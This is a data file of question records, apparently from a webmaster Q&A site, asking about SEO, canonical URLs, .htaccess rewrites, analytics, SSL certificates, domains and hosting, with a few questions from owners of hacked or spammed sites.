{"id":"5875","title":"Clarify \"canonical\" word: Can someone please list the various uses of this word in SEO context, and point out correct or incorrect uses of it?","text":"I think the authoritative use of the word \"canonical\" in the SEO discipline dates back to this 2006 blog post by Matt Cuts on cononicalization: http:\/\/www.mattcutts.com\/blog\/seo-advice-url-canonicalization\/ Personally, I recall the first use of the word in referring to penalizing sites that were buying up many keyword stuffed URLs and pointing them all to the same site, aka \"Canonical URLs.\" My curiosity caused me to discover that there are math and science uses of the word, AND that the term CNAME in DNS means \"canonical name.\" At this point, and on this website in particular, I see that word tossed around so frequently and I suspect some of the uses of it are technically wrong, or that some of its uses could better be served with a different word or phrase. But I could be wrong about this, fueled by my less-than-complete understanding of what canonical means in all of its SEO contexts. So, then, * **what are the correct uses for the word canonical (in SEO context)?** And, if my suspicions are correct, * **what are some of the common mis-uses of the word,** * **and what should be used in its place?**"}
{"id":"16019","title":"Does anyone know any good resources for learning how to market a web app?","text":"I'm a developer first and foremost. **I write web apps but have a hard time generating traffic and converting potential users** once I've released my product into the wild. I know I need to learn more about marketing but I don't know where to start as I've no baseline to judge the quality of the materials I stumble across. **Does anyone know any websites, blogs, e-books or other resources for learning how to market effectively?**"}
{"id":"34513","title":"How to add iframe to vbulletin?","text":"I want users to be able to embed to iframe videos, no matter from which site. Currently when you do that, the system seems to strip the iframe. I am wondering how to enable posting iframe. I also I'd like to know whether there are any risks in embeding iframes that justified limiting the ability to certain user groups. Thanks"}
{"id":"57973","title":"@ or (at) in contact forms?","text":"I have was wondering if it is better to use @ or at in contact form when I'm displaying emails, I've seen in many websites that when they display a email, it looks like this name(at)email.com but it links to name @email.com, I've been told that this is made because Google could take this as Spam. ¿Is it true?"}
{"id":"3759","title":"Directory template for Wordpress - Free or Paid","text":"I'm looking for a wordpress template to create a website's directory. Anyone know? The template can be paid or free."}
{"id":"3758","title":"is it google webmaster crawler's fault or a virus?","text":"Last day when i visited google webmaster tools, i found crawler errors for 42 not found pages. all the pages were having \"luminous-solutions.net\" at last in the URL. Like http:\/\/article-stack.com\/2010\/08\/page\/luminous-solutions.net I had never written any post which is having this word. For the safety, i had manually searched it on my site using internal and external search facility. I also had searched in source code as well. I had searched in database, newly installed plugins, theme code.... But i found nothing with \"luminous-solutions.net\" 404 means, some text in contents are pointing to these links. But link doesn't exist. I had manually checked those pages as well. May this fault occurred from google crawler itself or really some virus infected my site?"}
{"id":"17630","title":"Which event log file does IIS 7 app pool log to","text":"Which event log files does the IIS 7.0 Application Pool Recycling log to? I want to check out at what time the default app pool automatically recylces."}
{"id":"56671","title":"SMTP Error: Could not open a socket to the SMTP server","text":"I'm not sure how familiar some of you are on Invision Power Board(IPB). However this question someone includes their forum system. We currently host multiple servers with multiple web servers among other servers for various uses. One of which is a web server we setup using iRedMail.com We can login and send\/receive email's just fine, however we are trying to setup SMTP for our forum(IPB) to send validation emails, email change requests, newsletters, etc. As of right now, when I try to send a test email through the forum i get the error: \"Could not open a socket to the SMTP server (0:)\". It seems as if IPB is giving out the error code 0 but it doesn't actually exist. I'm almost positive the information for the server is correct, because it reaches the server and then I'm lost after that. Everything is running on the mail server so I'm not sure why it's unable to open a socket the server."}
{"id":"3750","title":"How I quantify the success of a folksonomy?","text":"**CONCEPTS:** completeness, accuracy, consistency, stability, relevancy **SEMI-RELATE-SUBJECTS:** taxonomy, data quality, indexes, keywords, SEO, SEM **FORMULAS:** ? ? ?"}
{"id":"4633","title":"My Joomla site hacked","text":"someone hacked into our servers. Not sure when. They have created this folder \"\/public_html\/modules\/com_gcalendar\" and some files in it. any one of had the same attack? any findings?"}
{"id":"13523","title":"Does 301 redirecting all pages in an existing domain exempt a domain from the sandbox period in Google?","text":"I have a domain I use for my blog that had originally been intended for a short lived project. As the domain doesn't really suit for a blog, I have been thinking about changing it. However, some pages on the blog have a fair amount of highly ranked search terms. I know with new domains, there is a sandbox period where Google doesn't rank them really well. I also know as far as PR goes, if a page 301 redirects to another page, Google considers them the same. Does this mean that if I change my domain and 301 redirect all pages from the old domain to the new one, my new domain will have all the search rankings of my old domain? Or will it have to go through the sandbox period again?"}
{"id":"58544","title":"Is my website is too slow?","text":"I checked the speed of my website with http:\/\/tools.pingdom.com\/ . **Results:** Per. Grade = 85\/100 Req.s = 18 Load Time = 1.94s Page Size= 96kb Is this result is good for my website(also consider SEO)?"}
{"id":"2196","title":"Should I support facebook login or openid login?","text":"What are the pros and cons of each? Does it make any sense supporting both? Which is easier for users\/to implement?"}
{"id":"2199","title":"What errors should I create custom pages for besides 404?","text":"I know most sites typically create a custom 404 page. Are there any other custom error pages I should create? Or just watch my logs and see which ones are hit more frequently? **[Edit]** This is for a PHP web app, not a blog or static html site."}
{"id":"38698","title":"Should users be deleted after inactivity on a website?","text":"When you have a social website or a website where you can register, would you eventually delete them after a certain time (after a year of inactivity) or would you rather keep their account records for ever? I know websites like Facebook have large amount of inactive, duplicated and fake accounts. So I'm wondering if after two years of inactivity it would be alright to send the account a warning email of deletion unless they log in. Just thinking of a clean and efficient database management or any implications this may cause to new potential users."}
{"id":"60241","title":"The aria-controls attribute must point to an element in the same document","text":"I'm running my website through the W3C Markup validator(http:\/\/validator.w3.org\/) and I'm getting the following error: The aria-controls attribute must point to an element in the same document. …\"ui-accordion-1-header-2\" aria-controls=\"ui-accordion-1-panel-0\" tabindex=\"0\"> I've read through the documentation and I not sure where I'm going wrong. My HTML looks like this: <ul class=\"mobile-primary ui-accordion ui-widget ui-helper-reset\" role=\"tablist\"> <li><a class=\"mobile-tab-trigger ui-accordion-header ui-helper-reset ui-state-default ui-corner-all ui-accordion-icons\" href=\"#\" role=\"tab\" id=\"ui-accordion-1-header-0\" aria-controls=\"ui-accordion-1-panel-0\" aria-selected=\"false\" tabindex=\"0\"><span class=\"ui-accordion-header-icon ui-icon ui-icon-triangle-1-e\"><\/span>Link 1<\/a> <ul class=\"mobile-secondary mobile-expand ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom\" id=\"ui-accordion-1-panel-0\" aria-labelledby=\"ui-accordion-1-header-0\" role=\"tabpanel\" aria-expanded=\"false\" aria-hidden=\"true\" style=\"display: none;\"> <li><a href=\"\/Link2\/\" title=\"Link 2\">Link 2<\/a><\/li> <\/ul> <\/ul> As you can see I have aria-controls=\"ui-accordion-1-panel-0\" and the subsequent tag is id=\"ui-accordion-1-panel-0\". I'm not sure what is causing the errors. Any help appreciated."}
{"id":"11748","title":".htaccess password protection generates 500 internal server error","text":"I have created a .htpasswd file using htaccess tools of which I have uploaded to the root of my web hosting space (\/public_html is my web root). I created a .htaccess file which referenced the .htpasswd as follows: AuthType Basic AuthName \"Protected Area\" AuthUserFile \/.htpasswd Require valid-user However when I uploaded this .htaccess file to the directory I want to password protect accessing the folder via the URL in my browser returns a 500 internal server error. I have used this same method before successfully. Am I referencing the .htpasswd incorrectly? I also uploaded it to \/public_html\/ in case .htaccess interprets \/ as the web root, but the error remains. Any ideas what is wrong?"}
{"id":"57678","title":"Apache .htaccess URL rewriting is not working","text":"I am using this code in _.htaccess_ but the last line not giving any response: RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteRule ^(.*)$ user_pro.php?id=$1 [QSA,L] RewriteRule ^(.*)$\/images image.php?id=$1 [QSA,L] #this line not giving any response"}
{"id":"39923","title":"SEO: Product page: categories link structure","text":"I am working on commerce site and we are facing a dilemma that has to do with SEO on product page: if sub-category links should be visible or not in each product page. In detail: We own 8 top categories with lots subcategories in each one and each sub-category owns multiple products. So, my question is: Should the menu of subcategories be visible as they appear in each top category & subcategory or since a product page is supposed to be focused on the product, should the menu be removed? Checking Amazon, Ebay, Etsy and other big commerce sites, they only use the path (breadcrumbs) and they do not show the other subcategories in product pages."}
{"id":"28573","title":"Custom url for tumblr posts","text":"I have a tumblr blog and would like to do the following: 1) How can I make a static main page without posts? 2) Hows can I create posts with a custom URL like **www.myname.tumblr\/news\/** , instead of **\/posts\/**?"}
{"id":"34862","title":"What is the SKYPE_TOOLBAR meta?","text":"I need to make an audit for a website and I discovered a \"new\" meta called \"SKYPE_TOOLBAR\", it looks like that: <meta name=\"SKYPE_TOOLBAR\" content=\"SKYPE_TOOLBAR_PARSER_COMPATIBLE\" \/> I've never seen that before and I don't manage to find relevant info about it, does someone know what is its use? PS. There is nothing else related to Skype on the website."}
{"id":"51134","title":"Google visits on Statcounter. How?","text":"In my website’s Statcounter report, I found page views from Google. I thought it may be a Google bot’s visit but I found that particular visit comes through a search query (`example.com+keyword`) and it also showing some other details like Browser, OS and Resolution. If it is Google bot then how did those details come from? Does is it Google bot or a human working on Google? See this image: "}
{"id":"19595","title":"effect of page speed on ad revenue","text":"I'm thinking of slowing my pageloads a bit, and want to know how much ad revenue will decrease due to the slowness. For ads on a revenue-per-impression (CPM) basis, I have to worry about * decreased initial traffic (\"landings\", if you will) and * an increase in the number of people who leave. The second one -- those who leave -- has been covered. But is there a good, recent study on the decrease in landings? (One thing that affects landings is the fact that Google shows a slower-loading page lower among search results, though general site reputation also depends on page speed and affects landings.) And as to ads on revenue-per-click (CPC) basis: Are there any data on the decrease in clicks when pages are slower-loading? (E.g., on whether those fewer people who stick around on a slower site are those who click more (or less), and to what extent.)"}
{"id":"19594","title":"Working with different URL structures","text":"As I'm quite newbie to this field, I've doubts and there are some I couldn't find on Google, i.e: If I'm not wrong, _index.html_ makes it possible to avoid to add the filename to the url, **www.example.com\/** is equal to **www.example.com\/index.html**. And that works for the following subdirectories, right? **www.example.com\/music\/** * Is there any other way to achieve this without using an index.html file? (I've read smth about converting dynamic urls to static: **.\/?var1=value1 &varN=valueN** -> **.\/value1\/valueN** ) * How can I convert **www.example.com\/music\/** to **music.example.com\/** and why should it be used? Thanks in advance!"}
{"id":"32073","title":"Do your 'fetch as google bot' allowances refresh?","text":"in google webmaster tools you can fetch as google bot - which you can do 500 times, and you also have submit to index that you can do 10 times, do these allowances refresh or are they for the life of the site. ie, once you've used them all up thats it ?"}
{"id":"52489","title":"Should schema.org structured data for products be used on category pages on an e-commerce site?","text":"I use schema.org structured data markup on all of my product pages. The products are well indexed in Google, and the meta data shows up mostly as expected. My question is a sub-question to the question Is there a problem in having same product with different names in different pages?. Should schema.org markup be used for products on category pages that list products? I was personally under the opinion that structured data for an \"item\" should be used explicitly for the page that represents that product. That said, I can also understand the idea that having other properly marked up data pointing to the same URI as the product as also being beneficial. So, should products on listing pages be using scheme.org meta data, or not?"}
{"id":"20892","title":"Is it wise to use a country-based tld when a .com already exists, but is \"Under Construction\"?","text":"So I have an idea I want to try for a side-business, and it's web-based. I think about names, and find one I like, let's pretend it's wibblewobble. I check for wibblewobble.com and it's taken, but there's no site there, just an \"Under Construction\" page. A whois indicates that the domain has been registered for about 9 years. wibblewobble.ie is available though, and I'm in Ireland, so I can get it. I imagine that after a few months of attentive site management, I should be ahead of the existing .com address. My fear though is that , should I be in any way successful, others may try to undercut me, and buty the .com to steal traffic from me. Is that a real risk? Do a lot of people automatically use .com, or do people remember tlds? I've tried contacting the .com domain owner, a private individual, but I've got no answer. I'd pay him a modest price for the domain if he's not using it."}
{"id":"20894","title":"Mobile device screen resolution statistics?","text":"Are there any statistics (or an industry standard) for mobile device screen resolutions? I'm optimising a site for mobile. So far I've just used one media query and it works fine down to about 240px wide, but messes up a bit after that. I'd love to know what's the smallest size worth accommodating."}
{"id":"20725","title":"Is there a free blogging service that I can setup to point to my domain\/subdomain?","text":"I would like that because now I would have to extend my hosting plan to accomodate new domains, if I wanted to self host all my sites. My sites being very low traffic, the max domain count is the only thing I find limiting on my hosting plan."}
{"id":"31913","title":"How to write a blog for SEO purpose","text":"I have a photo sharing website, which provides very little textual content. Users can add tags to photos and a description, but it creates a lot of duplicate content, because most of the descriptions will be 'wow', 'lol', ... I don't think I should rely on users to build my SEO. I think it would be a great idea to write a blog, and use it to describe the best photos, start contests, explain themes, in short: create original content that search engines will love. Our website's main URL is like `www.domain.com`, and our new blog is hosted on `blog.domain.com`. From a SEO perspective, is it a good idea to keep the blog separate from the main site? This has the advantage to leave the original site unchanged, but will it add any page rank to the `www.domain.com`? If the blog ranks well it will obviously pass some page rank to the original through links. What do you think is the best option from a SEO perspective? Include the blog in `www.domain.com`? Or leave it in `blog.domain.com`?"}
{"id":"52116","title":"Google doesn't follow links outside sitemap","text":"Today I was looking at what googles shows in relation to my site and I discovered something which I wasn't expecting. Here is what my site map looks like. ?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"> <url> <loc>http:\/\/domain.com\/pub<\/loc> <lastmod>2013-06-06<\/lastmod> <changefreq>weekly<\/changefreq> <\/url> <\/urlset> So to get an idea at \/pub I have a number of articles which are doFollow (checked that) and everyone of the articles has a canonical link in the header <link rel=\"canonical\" href=\"http:\/\/domain.com\/pub\/article\/327\" \/> Now I've discovered that google indexed only the \/pub directory, without following the links to the articles. I read somewhere that it is not a requirement to have every article's link in the sitemap. In my case it is user generated content so I can't be updating that on a weekly basis it has to be automated in some way. What am I doing wrong? I need to get that content indexed."}
{"id":"13298","title":"Excess bandwidth usage, how do I overcome this?","text":"I received a higher than normal monthly bill from my web hosting company. They have told me that I have exceeded my monthly minimum for bandwidth usage and advised me to reduce the file size of my web pages. Is there any way I could determine the bandwidth I require for hosting my website? Is there a tool that I could use to monitor the usage? I don't know which files I should be working on."}
{"id":"60068","title":"What should be the word count of an article for better ranking in 2014?","text":"**I know that SERPs depends on many factors like backlinks, page authority, keywords placement etc. But I noticed that Google also look for the word count of the article.** * In 2010,2011 articles with 250+ word count got ranked in Google. But in 2012,2013 the trend was different, If the post is 500+ words, it is likely to get ranked top in Google compared to 250 word count articles. * In late 2013 we can see that all SEO bloggers(who watch the SEO trends) started to publish articles with 1500+ word count and they ranked better that the 500+ word count articles. * Now I was googling for making a review about external HDDs and I found this post `http:\/\/goo.gl\/J54Fzm`. Its word count is 12K and got ranked top for the keyword \"portable hdd review\" in just 5 days. The ranking will depend on many factors but I am a bit confused about the word count. **MOZ, Searchengineland and other SEO specialists suggest in 2014 to keep the word count near to 1.5k** **`Q: What should be the word count of an article for better ranking in 2014?`** NB: Please don't mark this as a duplicate question. These questions are asked two years before. And I am asking about the trend in 2014. The image attached is from a post about word count published in march-2014. What should a page's minimum word count be in order to be effectively indexed? Ideal word count per web page? "}
{"id":"25554","title":"DNS: How can I determine which IP a subdomain is associated with?","text":"I bought a domain(tohid.ir.tc) from a hosting company. it seems that it is a sub domain of this domain(Ir.tc). it made lot's of problems for me. I don't now to which DNS server it is pointing. both whois query and domain reseller say that it is pointed to my host. but the hosting company says that is is not pointing to their server. when I enter it it says \"The server at tohid.ir.tc is taking too long to respond.\" \"Ir.tc\" domain is pointing http:\/\/zoneedit.com\/. but I can't tell for sure where http:\/\/tohid.ir.tc is pointing."}
{"id":"25550","title":"Saving Image Path in SQL server ","text":"I want to know a proper way of saving image path to SQL server when working with ASP.net. I'm using SQL server 2005 & VB 2008."}
{"id":"36313","title":"better site analytics service \/ script: real time statistics and time spent on pages?","text":"I'm looking for a site analytics software (service or script) that must be easy to comprehend. GA is simply too much complicated and it misses some key features (for me). Missing features are: * real time statistics (very important) * time spent on page (very important) about the \"time spent on page\"... i do really need a statistics software that does not calculate the time between two page views. this is not useful at all in my case. because i mostly do 1 pageview = 1 user but something that logs, for example, every 10 seconds spent on a page thank you in advance"}
{"id":"164","title":"What are the steps for starting a website from scratch?","text":"Starting before design, before coding anything. What steps need to be taken to fully implement a working website? **EDIT** I mean both from a technical and a non-technical perspective."}
{"id":"13292","title":"How to charge for web maintenance services","text":"Over the years we have developed many websites for clients. The issue we currently deal with is having individual clients wanting minor changes or enhancements to their site. Each client doesn't contact us often, but collectively this adds up into a bunch work. To date we don't have a clean way to charge for these services, and as a result it often seems easier to do a quick fix and in fact much of this work goes unbilled as it just seems to hard. Please outline what you consider to be a better system to handle these clients, links to any maintenance agreements. I considered the idea of charging clients for prepaid block hours of say 10 hours and then when they make requests we can just draw down from that, but we don't know of any good systems which already do this kind of thing. What should we do?"}
{"id":"167","title":"What are some great resources or books for learning about running a website?","text":"You've just inherited the webmaster position but know little about the day-to- day operation of a website. What books or online resources should you look at to learn more about being a webmaster?"}
{"id":"27078","title":"Google analytics how will ajax calls affect time on site, time on page, etc","text":"I am in the middle of redesigning a site and am concerned about how my new page design will compromise my google rankings. Essentially I am going to a single page site, using AJAX calls to reload different elements of the site. I am using traditional anchor links to various parts of the site which trigger AJAX calls using jquery, so the hard links will link to the same info as is loaded via AJAX. My issue is that since only one page will ever be loaded by most visitors, will my 'time on site' be accurately reflected. Additionally, My site consists of a lot of links to external sites. I have forced these to open in a new tab of the browser, does google record this as visitor leaving my site. I am using jquery history api to push the history state in modern browsers so that bookmarking can occur and back buttons work, will google analytics record this as a page change or does it not take them into account. Finally, If all the above will spell disaster, is there any way to send updates to analytics with the ajax calls?"}
{"id":"31940","title":"https (SSL) instead of http for mobile users","text":"I am building myself a new website, out of privacy and security concerns I am contemplating trying to make it https only. It will be mobile-friendly using media queries but I am concerned--especially for mobile users--about the increased bandwidth. How much will doing so increase my bandwidth or slow load times? For pages where I'm not transferring sensitive information, should I leave external links (to a jQuery library, or a web font for instance) in http? Simply put, I have read articles saying the entire web would be more secure if everything was SSL but my actual knowledge of implementation is limited to payment gateways and log-in pages and such. I apologize for the open-ended nature of the question but anything, even just simple answers to the specific questions is welcomed."}
{"id":"33526","title":"Analyse reasons for Sudden Drop in Traffic","text":"My site www canada updates dot com (remove spaces) had decent traffic till a month ago and now it has dropped to about 1\/3rd. I would be thankful if any one could help and analyse giving exact reasons for the drop in traffic"}
{"id":"42637","title":"Cumulative visit by hours in Google Analytics","text":"I am tring to compare 2 different days hour by hour, (but cumulatively) For example comparing the total visitor count by 12 o'clock today, with yesterday. How can I find out what was the total count of visitors at a specific time ?"}
{"id":"49149","title":"Force Google Analytics to re-check tracking code status?","text":"Is there a way to force Google Analytics to re-check tracking code status? I just installed the tracking code but I want GA to verify whether I installed the code correctly. GA's last check is few hours ago, before I install tracking code. Current status is \"Tracking Not Installed\"."}
{"id":"42326","title":"@Viewport @media use for input type?","text":"I've searched high and low for some way to setup my HTML5\/CSS3 for various devices. Going by screen resolution isn't the best route because some times the screen size of one device is the same as another [e.g. my chrome book runs at 1280x800 and my android tablet runs at 1280x800] I'd want the website to look different for the tablet because it has touch capabilities meaning I can build a more \"app like\" design for that that I wouldn't want for my chrome book. I've thought about the landscape vs portrait but that still doesn't get me there. @viewport and @media screen works to some degree as I can code for a browser vs mobile browsers but even the new iPhone\/iPad has a higher resolutions than some legacy monitors. I am truly stumped as to how I could code in a way to detect input type and load appropriately. (ie if touch display X if keyboard display Y)"}
{"id":"49143","title":"Using an already registered domain name","text":"I've written an asp.net site for a friend and I'm ready to deploy. However, I've never done this before and have a few questions. My friend has already bought\/registered a domain name, say for example it's `somesite.co.uk`. Q1. If he signs up to hosting company X how do we use that domain name with company X? Q2. Is it possible to get a similar email address with company X for admin? eg `admin@somesite.co.uk` through company X or does it need to be bought through the original company? Q3. Is there anything else I need to consider?"}
{"id":"42323","title":"Can I register or renew a domain name without going through a commercial site?","text":"If I want to register or renew www.therandomcatsite.com, I know for sure that I can pay GoDaddy about $12 to do so, and GoDaddy notes that the ICANN fee is $0.18. Is it possible to personally file a registration or renewal with ICANN (or whatever central organization handles registrations) and only pay the $0.18 fee?"}
{"id":"42492","title":"Does adding external images or javascript to a website affect its SEO?","text":"When adding images to your site, is it bad to use an image located on another site: <img src='http:\/\/www.some_other_site.com\/image.jpg'> The same goes for javascript, is it bad to link to javascript located somewhere else: <script type='text\/javascript' src='http:\/\/www.some_other_site.com\/js.js'><\/script> I ask this purely from an SEO perspective (I am aware that if the other site takes down their image, or something happens to their server, that will affect the content on my site). I am especially curious about javascript, since it is actually common practice to link to javascript libraries on other sites."}
{"id":"2731","title":"Looking for SSL certificates (first time)","text":"I need to buy SSL certificates and it is the first time. 1) My option would be the \"cheapest ones\". What am I going to risk, what kind of service quality I'm going to lose if I buy the cheapest ? Are they less safe ? 2) I've been suggested to use geotrust.com However I'm developing a website in Netherlands and I was wondering if it is better to use an european certificate or it doesn't matter. If it matters, could you suggest SSL services in Netherlands, or near by ? Thanks"}
{"id":"2733","title":"Using wildcard certificates","text":"Can I buy a wildcard certificate to use the same SSL certificate on multiple domains? For example, `www.example.com`, `www.example.org` and `www.example.net` (on different hosting services)? If I can, 1. Is this a good and cheap solution? 2. What are the risks?"}
{"id":"45316","title":"Paginating sitemaps","text":"My sitemap is huge (200k+ articles), so I want to implement pagination of the sitemap itself. My question is what parameter do most search engines look for in a sitemap pagination? `page=...` or maybe `p=...`? I know about the sitemap index, but it would be a bit of an overhead to create that just now."}
{"id":"48234","title":"Recovery from accidental noindex of site","text":"I've recently noticed that an entire site I manage had been set to `noindex` for about 3 weeks. This has caused the entire site to be completely dropped from Google's index (searching \"`site:`\" and then the domain name renders 0 results). What occurred was a redesign of the site was launched, the staging site had been set to `noindex` (in WordPress). WordPress does this through adding a meta `noindex` tag to all pages as well as through _robots.txt_. During the launch, in an apparent confusion by the team, the staging site was set to be indexed instead of the production site. This has also caused the staging site to be indexed in the 3 weeks since. What I've done so far: * Set the production site to be indexed again * Submitted the production site to be indexed by Google through Webmaster Tools * Submitted a sitemap through Webmaster Tools for the production site (hadn't been done yet, should have) * Submitted a reconsideration request through webmaster tools for the production site, explaining what happened (not sure if I should have done this, question below) * Submitted a removal request for the staging site through webmaster tools Here are my questions: Should I have submitted a reconsideration request? I have a theory (maybe more of a fear, don't have anything to back it up) that possibly Google will wait until they review the request to re-index the site, even though it never violated their guidelines. I would think this will take much longer than waiting for it to be re-indexed. I did this in frantic action after discovering the problem but then had this thought afterwards. Secondly, because it was a redesign of the site being launched there were 301 redirects set up from old pages to new. When the site is eventually re- indexed, will Google look for those old pages again and follow the 301s, or would it have already written off those pages as gone? I've read some things saying that when this happens, normally sites regain their previous ranking, but I have a feeling in this case it may be a bit different as maybe the opportunity for Google properly follow the new 301s is now gone?"}
{"id":"27714","title":"Difference between \"\/\" at end of URL and without \"\/\"","text":"> **Possible Duplicate:** > Does it make a difference if your url ends in a trailing slash or not? > Why treat these as different URLs? I am doing a 301 redirect in my WP application using .htaccess and have mapped some of the URLs which have either been removed from the new domain or the URL structure has been changed. While doing I got a doubt I have following URL structure in my .htaccess file RewriteCond %{HTTP_HOST} ^old.com$ [OR] RewriteCond %{HTTP_HOST} ^www.old.com$ RewriteRule ^tag\/waiting$ http:\/\/www.new.com\/tag\/relationships [R=301,L] while checking this i found that at some places URL is like `http:\/\/www.new.com\/tag\/relationships` while at others its like `http:\/\/www.new.com\/tag\/relationships\/`, while both refer to the same location but not sure if this will make any difference to SEO and search engines. Please suggest if the way i am doing mapping is correct or do i need to modify it to handle both UR"}
{"id":"2498","title":"Does it make a difference if your url ends in a trailing slash or not?","text":"Does it make any difference to SEO ratings what-so-ever if your url has a trailing slash: http:\/\/www.domain.com\/some\/slug\/paths\/ as opposed to one that does not: http:\/\/www.domain.com\/some\/slug\/paths"}
{"id":"29931","title":"Verify my website when it is .tk","text":"I'm trying to verify my website so it appears on google, I think, I'm very new with all this. However, it doesn't seem to be an option... My website is host in dropbox and the domain is free. Is that why I cannot verify? Have tried the different methods, but nothing. This is the web: www.angelinajoliemagazines.tk"}
{"id":"48231","title":"How to determine which files are used by website","text":"I recently became responsible for a PHP \/ HTML \/ MySQL website. The document structure is full of duplicate files and folders making the site appear more complex than it is. Is there any tool I can use to process the files and find out which files are used and which are not so that I can purge all the redundant code from the file structure? Also, can a tool identify if there are any missing files?"}
{"id":"4769","title":"What's the best way to show a message for only IE 6 and IE 7?","text":"What's the best way to show a text message for only IE 6 and IE 7 ? Should I add a html tag to my webpages and normally hide it with css for all browsers except the above mentioned ? And when I use IE6 IE7, should I hide the website with css and show only that html tag ? thanks"}
{"id":"57095","title":"Using topic titles as img alt text on a forum?","text":"I have a (mostly) standard phpBB forum so right now, images that are posted in [IMG] BB-tags don't have an alt text. I would like to change this and I'm doubting between two options: 1. Use the topic title as alt text 2. Use the most used words in the first post as alt text (I have a mod installed that sets those words as meta keywords) A page has a maximum of 30 posts and the subforums that have a lot of pictures aren't accessible to Google. So at most, I think there will be 5 images per page. Is using the same alt text 5 times bad SEO-wise? Is there anything else I can do to get the right keywords to add?"}
{"id":"9182","title":"PageRank sharing between domains?","text":"I own three domains, say.. **example.com, example.in, example.co.in** I have bought the .in and .co.in TLDs (Top Level Domains) only to protect the brand. But I have this question: If I make the other two also point to my hosting so that regardless of which one the user types, they are taken to the same website, will the Page Rank be split into three and will each domain have one third the actual PR value? What should I do with the other two domains? Where should I point them to, if I don't intend to use them at all (i.e., what should I give in place of the `ns1.myprovider.com`, `ns2.myprovider.com` etc..?)"}
{"id":"46766","title":"Link tags in iframe widget","text":"I have a rating community-site and I´m offering little `iframe` widgets with the average rating and some little other info. Does it make sense (for visibility, SEO) to add link tags to the `head` like: <link rel=\"alternate\" type=\"application\/rss+xml\" title=\"RSS 2.0\" href=\"rssfeed\" \/> <link rel=\"index\" title=\"main-profile\" href=\"main-profile\"> To get a logical association of the widget to relating pages? How would you do this?"}
{"id":"10367","title":"What are the reasons to have a two step login? (Username on one page, password on the second.)","text":"So I've recently been encountering more two step login processes, where I'm required to enter my username on one page and my password on a second. I really don't like this pattern, as it requires an extra page load just to log in. But I've been told by a couple of people that it is more secure. How is it more secure? Are there other reasons to inconvenience the user with this?"}
{"id":"10366","title":"A couple of links to our products and 10 pages of crack\/keygen\/torrent\/etc","text":"If you try searching for our company and product name you'll get two useful links and 10 pages of hacker sites where eventually you can download the cracked version of our products. How can we clean hacker links and leave only useful links to our prouct pages? We already checked the Google URL Removal Tool but within the 'Removal Type' options we can specify there is nothing meaningful to specify in this case. Shall we proceed the same? Thanks."}
{"id":"9189","title":"GUI question : representing large tree","text":"I have a tree-like datastructure of some six levels deep, that I would like to represent on a single webpage (can be tabs, trees; ....) In each level both childnodes and content are possible. Presenting it like a real tree would be not very usable (too big). I was thinking in the lines of hiding parts of the tree when you drill down and presenting a breadcrumbs or the like to keep you informed as to where you are... I guess my question boils down to : any ideas \/ examples ? Tx!"}
{"id":"12807","title":".co domain worthy for main site?","text":"> **Possible Duplicate:** > .CO Domains. Worthwhile? Thought of a great name for the idea of my site, but the .com has already gone. However the .co is available. Is that common enough to use as the main domain for the site? It's a brand new site so it will be branded and promoted as sitename.co all the time. Anyway have any .co?"}
{"id":"12128","title":"Why is Google showing up as a referral instead of a search engine in Google Analytics?","text":"In Google Analytics, why does Google show up sometimes under an organic medium, and other times as a referral? (They frequently have the same landing page.) As I understand (and I'm just as likely to be dead wrong), the organic medium indicates someone found a link to my page in search results and the referral is when a link from site X leads to my site. I understand a search engine just populates a page with links, so how does GA determine when to call a Google referral organic as opposed to referral?"}
{"id":"7203","title":"Would the IP-based content delivery be considered as cloaking?","text":"All we know that Google will be looking more at cloaking in the first quarter of 2011. But, **my client's website is serving content to the users based on the IP address.** Now, I would like to know whether IP based content delivery be considered as Cloaking by Google. Or how Google is going to handle this issue?? Thanks, Parthipan.P"}
{"id":"57502","title":"When creating DOM elements with JQuery is it better practice to style them with JQuery or in the stylesheet","text":"I am working on a code base and am using JQuery to add DOM elements.I want to know if it is considered better practice to style them with JQuery or _just create them_ with JQuery then go to the style sheet and add new CSS blocks to style them. Thank you."}
{"id":"6221","title":"Creative ways to display long lists","text":"I am working on redesigning a page that displays a 2 column table of approximately 200 manufacturer names. The page becomes very long but so far isn't incredibly unmanageable, but I'm trying to apply a more futuristic design. I provided a sample page to the client with a 5 column table of smaller logos, but due to the vast diversity of colors in the logos it made the page look extremely busy. The client does not want to have users click to view the manufacturer list (I proposed some jQuery goodness broken down by category). Anyway, just thought I'd check to see if anybody has any samples of displaying longer lists as I'm not the most creative person around. Thanks!"}
{"id":"6227","title":"SEO\/Architecture for multiple related websites","text":"My question is two-fold, but first, a short background. I have a client that is a regional franchise for a service company and each physical site has its own domain and the main \"corporate\" physical site has its own domain as well. They each, as independent owners, also have completely different looking websites. They have since decided to have all physical sites (including corporate) websites to have the same look. They have also realized that probably 90% of the website pages will have the exact same information on them. The other 10% will basically be staff bios, pictures of their individual physical sites, and maybe some events that are exclusive to their own physical site. 1. From an SEO standpoint, does it make more sense to ditch all of the domains and just keep the single corporate site which holds all of the company wide info and then have the ability to show site exclusive content just as a function of normal site navigation? Or should each domain website look 90% identical, 10% exclusive and provide links either to all sites or only back to the corporate site? One point I'm considering is if corporate is in Town A and someone searches google for the search terms we've optimized, but they add a geo location of Town B (in which a franchise physical site exists) which is 30 miles from Town A, would we benefit from having multiple domains, each having it's own place page and it's address on each page of the site? 2. Ok, hopefully #1 was relatively clear. If we opt for multiple domains with 90% same content and 10% exclusive, what is the best way to architect this so I don't actually have to build and, inevitably, update nearly the same site 10 times? I would think that keeping identical content on the corporate domain and exclusive content on each franchise domain would be, theoretically, the best route but I'm really not sure how to go about doing that. I'm using PHP5 and have written my own, very small framework."}
{"id":"44906","title":"SEO preparation for upcoming new site","text":"I booked a domain and I created an image saying that the site is soon to be launched. What SEO preparations should I make to avoid harming my SEO ranking? Because my page is blank, the image itself is displayed with CSS. Only the title is filled with information. There is no description nor keywords. Will it hurt my SEO ranking if Google or some other crawler would wander to my site?"}
{"id":"54402","title":"How to see the domain list registered daily country or server wise?","text":"Can someone tell me about listing of domains at daily basis with country name or any other specification like server name or any others ? I just wanted a majorly lists of domain which one daily registered and updated."}
